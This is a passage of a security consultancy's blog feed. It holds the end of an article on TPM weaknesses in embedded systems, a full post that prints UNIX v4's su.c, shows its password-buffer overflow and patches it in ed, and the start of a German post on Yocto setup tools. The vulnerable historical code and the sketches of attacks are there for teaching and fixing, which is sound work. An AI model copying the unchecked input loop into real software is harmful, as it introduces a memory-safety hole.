primary key that is volatile to the current boot session. The key&rsquo;s unique,
name can be passed securely from the bootloader to the kernel. If a MitM
attacker resets the TPM during this handover, the handle will become invalid.</p>
<p>The attestation process is rather complex to perform in kernel code, so the
kernel exposes the name of the derived key via <code>sysfs</code>, enabling userspace to
perform the full attestation logic including verification of the EK certificate.
Successful attestation of this NULL key name will prove that there was no interposer
present during the whole boot process. For more details, see James&rsquo; excellent
talk at FOSDEM 2025<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</p>
<p>Unfortunately, while the foundations in the Linux Kernel have been put in place
and documented<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>, other parts are still lagging behind here.
Especially systemd&rsquo;s dm-crypt integration does not support this as of now.</p>
<p>A more robust alternative that helps mitigate these types of attacks is using
a fTPM, as it runs on the same SoC, eliminating the physical
bus. However, fTPMs have their own set of caveats, which we will discuss later.</p>
<h3 id="direct-physical-attacks-on-tpm-chip">Direct Physical Attacks on TPM Chip</h3>
<p>With full physical access to the device, a malicious actor can perform a
range of attacks, from fault injection and side-channel analysis to more
direct tampering. While TPM chips are designed with security in mind, the
level of protection varies significantly by vendor and model. The
ISO/IEC 19790<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> security level provides an indicator of a chip&rsquo;s
physical security capabilities. Unfortunately, most commercial
TPMs only achieve Level 1 or Level 2. Level 3 and 4 certifications,
which require tamper-resistant or tamper-evident features, are
extremely rare for TPMs and are typically reserved for high-security
applications using dedicated hardware security modules (HSMs).</p>
<p>A highly motivated attacker can aim to circumvent these protections
by desoldering the TPM and operating in another device. When its
secrets are cryptographically sealed to PCRs, it is also required
that the attacker reproduces the relevant PCR measurements in order
to be able to unseal a key outside the original device. While this
is extremely difficult and requires a lot of effort, it demonstrates that
a TPM is not a silver bullet.</p>
<h3 id="integrity-protection-and-code-execution-flaws">Integrity Protection and Code Execution Flaws</h3>
<p>While the host has means to verify the TPM chip (Endorsement Key),
this does not work the other way around. A TPM has no way to
do this as it is a passive device. As long as the caller provides
the correct authorization value to perform a command, it will do so.
This is a huge problem if malicious code is executed on a running
system. If it gains enough privileges it can interact with the
TPM to have it decrypt secrets.</p>
<p>If a TPM key is sealed to specific PCR values, a malicious process
can gain access by resetting the TPM and replaying a legitimate
boot process.</p>
<p>This highlights the need to secure the entire boot chain using
<em>measured boot</em> and <em>verified boot</em>. However, these do not
cover any runtime issues after the system successfully booted.
For this, additional Kernel features like IMA/EVM are needed.</p>
<p>On embedded Arm-based systems, measured boot often begins after
the SoC&rsquo;s boot-ROM and the initial bootloader, which is why
SoC-specific features like NXP&rsquo;s HAB are essential to secure the
lowest levels of the boot chain.</p>
<p>For secret storage, a robust hardening measure is to lock the
TPM key to PCRs that change once the key is no longer needed.
Once the disk is mounted in the initrd, an additional measurement
can be made to change a PCR value, making the sealed key unusable
until the next boot.</p>
<p>In general, a TPM cannot fully mitigate any code execution flaw
on your platform. Once an attacker controls the OS kernel,
they can often extract secrets already in memory or copy data
from mounted, unencrypted disks. Therefore, additional
in-depth hardening (e.g., AppArmor, SELinux), a clear
concept of least privilege per process and hardening
of backend infrastructure are crucial.</p>
<h3 id="hardware-flaws">Hardware Flaws</h3>
<p>TPM chips from various vendors have had hardware flaws in the past. One prime
example is the ROCA vulnerability<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> (CVE-2017-15361) affecting
millions of Infineon TPM chips which produced weak RSA keys. Vulnerabilities
like these become even more problematic with longer product lifetimes.
If the security of a product is solely based on the TPM chip, a flaw in
it can be catastrophic.</p>
<p>Therefore, additional hardening measures are needed to reduce the impact of
malicious code execution (e.g. reduced privileges, SELinux) or key extraction
(e.g. unique keys per device). Furthermore, any backend infrastructure should
be hardened such that a single compromised device cannot impact the operation
of other devices.</p>
<h3 id="software-based-tpm-issues">Software-based TPM Issues</h3>
<p>On Intel and AMD hardware, fTPMs have become more known at least since
Windows 11 requires a TPM to operate. These solutions implement a TPM
in software, running within a Trusted Execution Environment (TEE) on the CPU.
This has the advantage of removing any physical bus that can be snooped or
tampered with. On the other hand, fTPMs are still vulnerable to various
kinds of side-channel attacks, such as timing leaks, as the vulnerability
dubbed TPM-FAIL has shown<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<p>These trusted execution environments are vulnerable as well. Any
flaw in the TEE can result in a full compromise of the TPM keys, breaking
all security guarantees. This includes insecure key storage. While
the TEEs are designed to keep the execution state safe,
it also requires a secure way to persist secrets (e.g., TPM key
hierarchy seeds) across reboots. A prime example is the faulTPM
flaw on some AMD CPUs<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>.</p>
<p>On Arm-based embedded devices, the main way to implement an fTPM is by
utilizing Arm TrustZone technology and something like OP-TEE&rsquo;s fTPM<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup>.
Any flaw in the TrustZone implementation can be a problem, including
memory protection issues that leak keys the fTPM holds in memory<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>.</p>
<p>When using OP-TEE, it is also essential to properly configure the storage
layer and ensure that it has a secure way to derive a storage encryption
key that cannot be accessed outside of the TEE. SoCs with upstream
OP-TEE support often already have this, but vendors sometimes ship
forks that do not. When using storage backed by eMMC RPMB
(Replay Protected Memory Block), the key must be properly set up
and configured. Hard-coding the RPMB key in the OP-TEE binary is
a particularly bad idea.</p>
<h3 id="cold-boot-attacks">Cold Boot Attacks</h3>
<p>While not a direct TPM problem, cold boot attacks are a critical
consideration when designing a system that uses a TPM for secret storage.
Although a physical TPM provides protection for its internal memory, the
problem lies with the main system memory once the TPM has unsealed and
returned a secret to the host. A prime example is disk encryption, where
the encryption key resides in the volatile main memory for the entire
duration of the system&rsquo;s uptime. It is essential to ensure proper mitigations
against cold boot attacks to avoid leaking secrets this way.</p>
<h3 id="performance">Performance</h3>
<p>Not specific to embedded systems, but often overlooked: a TPM is slow.
Therefore, offloading cryptography-heavy protocols like TLS to the TPM
is unfeasible. It can, however, still be used to keep long-term keys
secure and perform less timing-critical operations during a protocol
handshake.</p>
<p>One more thing to keep in mind is that with TPM 2.0, root keys are not
stored directly but derived from seeds. This key derivation can be
computationally expensive. Consequently, using a RSA key can cause
more significant delays than an ECC key due to the mathematical
operations involved.</p>
<h3 id="tpm-firmware-updates">TPM Firmware Updates</h3>
<p>It is common knowledge now that delivering security updates is crucial to keeping
devices secure over their whole lifetime. It is important to remember that TPM chips
also contain firmware that needs to be updated. On a regular PC, this is handled
through UEFI or Windows. However, on an embedded device, it is the responsibility
of the producer to keep the TPM firmware up to date. This is critical, especially
when a vulnerability like TPM-FAIL (CVE-2019-16863) occurs, as it requires the
ability to update your TPM to patch the flaw.</p>
<h2 id="summary">Summary</h2>
<p>A TPM chip can help to implement state-of-the-art security mechanisms,
but it&rsquo;s not a silver bullet that will make things inherently secure.
To utilize a TPM correctly, it is crucial to have a well-defined threat model.
This model must clearly specify the role of the TPM and the kind of attacks it is intended to protect against.
Especially when used on an embedded system, the lack of human interaction must be considered when designing protection against certain threats.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://trustedcomputinggroup.org/resource/tpm-library-specification/">https://trustedcomputinggroup.org/resource/tpm-library-specification/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>A TPM has a small amount of internal non-volatile storage, but this is
primarily used for persistent objects like the Endorsement Key (EK) and the Storage Root Key (SRK).
Due to its limited size, it is not used for general secret storage.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>The TPM 2.0 specification requires a minimum of 24 PCRs. PCRs 0-15 are defined as
static and are typically reset upon a TPM restart. PCRs 16-23 are dynamic and may have a different
reset behavior based on their purpose. For measured boot only PCRs 0-15 are commonly used.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.youtube.com/watch?app=desktop&amp;v=eJihjE1zb1M">https://www.youtube.com/watch?app=desktop&v=eJihjE1zb1M</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/">https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/</a>, <a href="https://github.com/nccgroup/TPMGenie">https://github.com/nccgroup/TPMGenie</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets">https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/">https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://docs.kernel.org/security/tpm/tpm-security.html">https://docs.kernel.org/security/tpm/tpm-security.html</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://en.wikipedia.org/wiki/ISO/IEC_19790">https://en.wikipedia.org/wiki/ISO/IEC_19790</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://blog.cr.yp.to/20171105-infineon.html">https://blog.cr.yp.to/20171105-infineon.html</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://tpm.fail/tpmfail.pdf">https://tpm.fail/tpmfail.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://arxiv.org/abs/2304.14717">https://arxiv.org/abs/2304.14717</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://github.com/OP-TEE/optee_ftpm">https://github.com/OP-TEE/optee_ftpm</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://link.springer.com/article/10.1007/s11416-021-00413-y">https://link.springer.com/article/10.1007/s11416-021-00413-y</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Fixing a Buffer Overflow in UNIX v4 Like It's 1973</title><link>https://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/</link><pubDate>Wed, 31 Dec 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/</guid><description><![CDATA[<h1 id="fixing-a-buffer-overflow-in-unix-v4-like-its-1973">Fixing a Buffer Overflow in UNIX v4 Like It&rsquo;s 1973</h1>
<h2 id="introduction">Introduction</h2>
<p>In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
This version marks a pivotal moment in computer history: the rewriting of UNIX into C.
Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>Fascinated by this artifact, I set up an instance to explore it.
Because the distribution includes the source code, I examined the implementation of several core utilities.
While auditing the <code>su(1)</code> program, I identified a bug. Let&rsquo;s fix it.</p>]]></description><content:encoded><![CDATA[<h1 id="fixing-a-buffer-overflow-in-unix-v4-like-its-1973">Fixing a Buffer Overflow in UNIX v4 Like It&rsquo;s 1973</h1>
<h2 id="introduction">Introduction</h2>
<p>In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
This version marks a pivotal moment in computer history: the rewriting of UNIX into C.
Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>Fascinated by this artifact, I set up an instance to explore it.
Because the distribution includes the source code, I examined the implementation of several core utilities.
While auditing the <code>su(1)</code> program, I identified a bug. Let&rsquo;s fix it.</p>
<h2 id="the-unix-v4-su1-program">The UNIX v4 su(1) program</h2>
<p>Although more than 50 years old, the <code>su</code> program functions similarly to its modern variant.
As a setuid-root executable, it validates the root password.
If the user provides the correct credentials, the program spawns a root shell, allowing an unprivileged user to escalate privileges.</p>
<p>The source file, <code>su.c</code>, contains fewer than 50 lines of code.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cm">/* su -- become super-user */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">char</span>    <span class="n">password</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span>    <span class="n">pwbuf</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span>     <span class="n">ttybuf</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">register</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="o">*</span><span class="n">q</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">extern</span> <span class="n">fin</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">getpw</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">pwbuf</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">badpw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="o">&amp;</span><span class="n">fin</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">p</span> <span class="o">=</span> <span class="n">pwbuf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="o">++</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">goto</span> <span class="n">badpw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">*++</span><span class="n">p</span> <span class="o">==</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">ok</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">gtty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ttybuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=&amp;</span> <span class="o">~</span><span class="mo">010</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">stty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;password: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">q</span> <span class="o">=</span> <span class="n">password</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">((</span><span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="nf">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">&#39;\n&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">q</span><span class="o">++</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">ttybuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=|</span> <span class="mo">010</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">stty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">q</span> <span class="o">=</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">q</span><span class="o">++</span> <span class="o">==</span> <span class="o">*</span><span class="n">p</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">*--</span><span class="n">q</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span> <span class="o">&amp;&amp;</span> <span class="o">*--</span><span class="n">p</span> <span class="o">==</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">ok</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">badpw</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;bad password file</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">ok</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">execl</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="s">&#34;-&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;cannot execute shell</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;sorry</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>In short, the program executes the following steps:</p>
<ol>
<li>It calls <code>getpw()</code> to retrieve the passwd entry for the root user (UID 0) from <code>/etc/passwd</code>. Surprisingly, if the read fails or the line format is incorrect, <code>su</code> continues execution rather than aborting. While unusual, this likely acts as a safeguard to ensure <code>su</code> remains usable on a partially corrupted system. This is a security issue on its own because an unprivileged user could consume enough resources to make the <code>getpw()</code> call fail. Ron Natalie pointed<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> out that this attack vector was known at the time.</li>
<li>It disables the TTY echo mode and prompts the user for a password.</li>
<li>It reads byte-by-byte from the TTY into a buffer until it encounters a newline or <code>NUL</code> character, <code>NUL</code> causes the program to exit immediately.</li>
<li>Once reading is complete, it re-enables echo mode, hashes the input using the <code>crypt()</code> library function, and compares the result with the stored hash.</li>
<li>If the hashes match, it spawns a shell, otherwise, it terminates.</li>
</ol>
<p>The logic is standard, except for one critical flaw: the <code>password</code> buffer has a fixed size of <code>100</code> bytes, yet the input loop lacks a bounds check.
If a user enters more than <code>100</code> characters, a buffer overflow occurs.</p>
<p>I confirmed this behavior by testing with a long input string, which successfully crashed the program.
Not all long strings trigger a core dump.
The outcome depends on which area of adjacent memory is overwritten, sometimes, <code>su</code> simply exits.</p>
<pre tabindex="0"><code># su
password:&lt;long input&gt;Memory fault -- Core dumped
</code></pre><p>Note: Because <code>su</code> disables TTY echo mode, a crash prevents the terminal from displaying subsequent input.
To restore visibility, type <code>stty echo</code> blindly and press Enter.</p>
<h2 id="fixing-su1">Fixing su(1)</h2>
<p>UNIX traditionally includes the source code necessary for self-recompilation, and v4 is no exception.
This allows us to patch and compile <code>su</code> directly on the system.
In 1973, editor options were sparse. Neither <code>vi</code> nor <code>emacs</code> had been invented yet.
However, the system provides <code>ed</code>, a line-oriented text editor designed for teletype terminals where output was printed on paper rather than displayed on a screen.
<code>ed</code> allows us to list, delete, and append lines, which is sufficient for our needs.</p>
<p>We will edit <code>su.c</code> to prevent the overflow by maintaining a counter, <code>i</code>, and verifying it against the buffer size during the read loop.
I initially attempted a fix using pointer arithmetic, but the 1973 C compiler didn&rsquo;t like it, while it didn&rsquo;t refuse the syntax, the code had no effect.
I settled on a simpler index-based check instead.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gd">--- a/s2/su.c
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/s2/su.c
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -7,6 +7,7 @@ main()
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> {
</span></span><span class="line"><span class="cl">        register char *p, *q;
</span></span><span class="line"><span class="cl">        extern fin;
</span></span><span class="line"><span class="cl"><span class="gi">+       register int i;
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> 
</span></span><span class="line"><span class="cl">        if(getpw(0, pwbuf))
</span></span><span class="line"><span class="cl">                goto badpw;
</span></span><span class="line"><span class="cl"><span class="gu">@@ -22,9 +23,13 @@ main()
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>        stty(0, ttybuf);
</span></span><span class="line"><span class="cl">        printf(&#34;password: &#34;);
</span></span><span class="line"><span class="cl">        q = password;
</span></span><span class="line"><span class="cl"><span class="gd">-       while((*q = getchar()) != &#39;\n&#39;)
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+       i = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+       while((*q = getchar()) != &#39;\n&#39;) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+               if (++i &gt;= sizeof(password))
</span></span></span><span class="line"><span class="cl"><span class="gi">+                       goto error;
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>                if(*q++ == &#39;\0&#39;)
</span></span><span class="line"><span class="cl">                        return;
</span></span><span class="line"><span class="cl"><span class="gi">+       }
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>        *q = &#39;\0&#39;;
</span></span><span class="line"><span class="cl">        ttybuf[2] =| 010;
</span></span><span class="line"><span class="cl">        stty(0, ttybuf);
</span></span></code></pre></div><pre tabindex="0"><code># chdir /usr/source/s2
# ed su.c
</code></pre><p>Upon launch, <code>ed</code> outputs the file size in bytes and awaits input.
The command <code>i</code> inserts text before the current line, <code>d</code> deletes the line, and <code>p</code> prints it.
Entering a number moves the focus to that specific line, while pressing Return prints the current line&rsquo;s content.</p>
<p>Below is a screen recording of the editing session:</p>
<pre tabindex="0"><code class="language-ed" data-lang="ed">741
8
        register char *p, *q;

        extern fin;
i
        register int i;
.
24
        printf(&#34;password: &#34;);

        q = password;
i
        i = 0;
.
p
        i = 0;

        while((*q = getchar()) != &#39;\n&#39;)
d
i
        while((*q = getchar()) != &#39;\n&#39;) {
.

                if(*q++ == &#39;\0&#39;)
i
                if (++i &gt;= sizeof(password))
                        goto error;
.

                if(*q++ == &#39;\0&#39;)

                        return;

        *q = &#39;\0&#39;;
i
        }
.
w
811
q
</code></pre><p>First, we jump to line <code>8</code> and press Return several times to locate a suitable spot for the variable declaration.
We use <code>i</code> to enter insert mode, add the variable, and then type a single period (<code>.</code>) on a new line to exit insert mode.
The critical change occurs around the while loop: we initialize <code>i</code> and add a boundary check to the loop condition.
Finally, <code>w</code> writes the modified buffer to disk, confirming the file has grown by a few bytes, and <code>q</code> terminates the editor.</p>
<h2 id="building-and-deploying">Building and Deploying</h2>
<p>With the source code patched, we must rebuild the binary.
Since <code>su</code> consists of a single C file, the compilation process is trivial:</p>
<pre tabindex="0"><code># cc su.c
</code></pre><p>The compiler outputs a binary named <code>a.out</code>.
To deploy it, we move the file to <code>/bin/su</code>:</p>
<pre tabindex="0"><code># mv a.out /bin/su
</code></pre><p>However, the installation is incomplete.
Because <code>su</code> requires root privileges to function, we must set the setuid bit and adjust the file permissions:</p>
<pre tabindex="0"><code># ls -l /bin/su
-rwxrwxrwx 1 root     2740 Jun 12 19:58 /bin/su
# chmod 4755 /bin/su
# ls -l /bin/su
-rwsr-xr-x 1 root     2740 Jun 12 19:58 /bin/su
</code></pre><h2 id="summary">Summary</h2>
<p>UNIX v4 is a fascinating gem of computer history.
It feels surprisingly similar to our current systems.
While it lacks modern conveniences, the fundamental logic remains recognizable to anyone with modern UNIX experience.</p>
<p>The ability to fix <code>su</code> so quickly highlights the power of the early UNIX philosophy: shipping the operating system with its full source code and a C compiler.
We patched, compiled, and deployed the fix directly on the system, no external toolchains required.</p>
<p>Finally, this bug reminds us of the era&rsquo;s different priorities.
In the trusted, isolated environments of 1973, security was not the critical concern it is today.
Furthermore, the knowledge that a buffer overflow could be exploited for arbitrary code execution had not yet come of age.</p>
<p>As an exercise for the reader to improve their <code>ed</code> skills, try adding the code to restore TTY echo mode to the overflow detection logic.
This ensures the terminal functions correctly even after the program catches the error.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://discuss.systems/@ricci/115747843169814700">https://discuss.systems/@ricci/115747843169814700</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="http://squoze.net/UNIX/v4/README">http://squoze.net/UNIX/v4/README</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://www.tuhs.org/pipermail/tuhs/2026-January/032991.html">https://www.tuhs.org/pipermail/tuhs/2026-January/032991.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Die sich wandelnde Landschaft des Yocto-Projekt-Setups: bitbake-setup vs. KAS</title><link>https://sigma-star.at/de/blog/2025/10/die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs.-kas/</link><pubDate>Tue, 28 Oct 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2025/10/die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs.-kas/</guid><description><![CDATA[<p><em>Offenlegung: Als langjähriger Nutzer von KAS und Contributor sind meine persönlichen Ansichten hier naturgemäß nicht neutral. Die technischen Fakten habe ich aber so korrekt und objektiv wie möglich gehalten.</em></p>
<h1 id="die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs-kas">Die sich wandelnde Landschaft des Yocto-Projekt-Setups: bitbake-setup vs. KAS</h1>
<p>Wer schon einmal mit Yocto eine eigene Linux-Distribution erstellt hat, dem ist vermutlich aufgefallen, dass das Yocto-Projekt selbst keine standardisierte Methode für den allerersten Schritt bietet: alle benötigten Layer zu holen und die initiale Build-Konfiguration anzulegen.
Seit 2017 füllt das Tool KAS diese Lücke.
Heute, im Jahr 2025, hat KAS eine beachtliche Nutzerbasis und eine lebendige Community.
Dennoch ist es weder offizieller Bestandteil des Yocto-Projekts noch das offiziell empfohlene Tool für das Projekt-Setup.
Seit 2024 entwickelt das Yocto-Projekt ein eigenes Tool: bitbake-setup.
Jetzt, Ende 2025, nimmt dieses neue Tool Gestalt an.</p>]]></description><content:encoded><![CDATA[<p><em>Offenlegung: Als langjähriger Nutzer von KAS und Contributor sind meine persönlichen Ansichten hier naturgemäß nicht neutral. Die technischen Fakten habe ich aber so korrekt und objektiv wie möglich gehalten.</em></p>
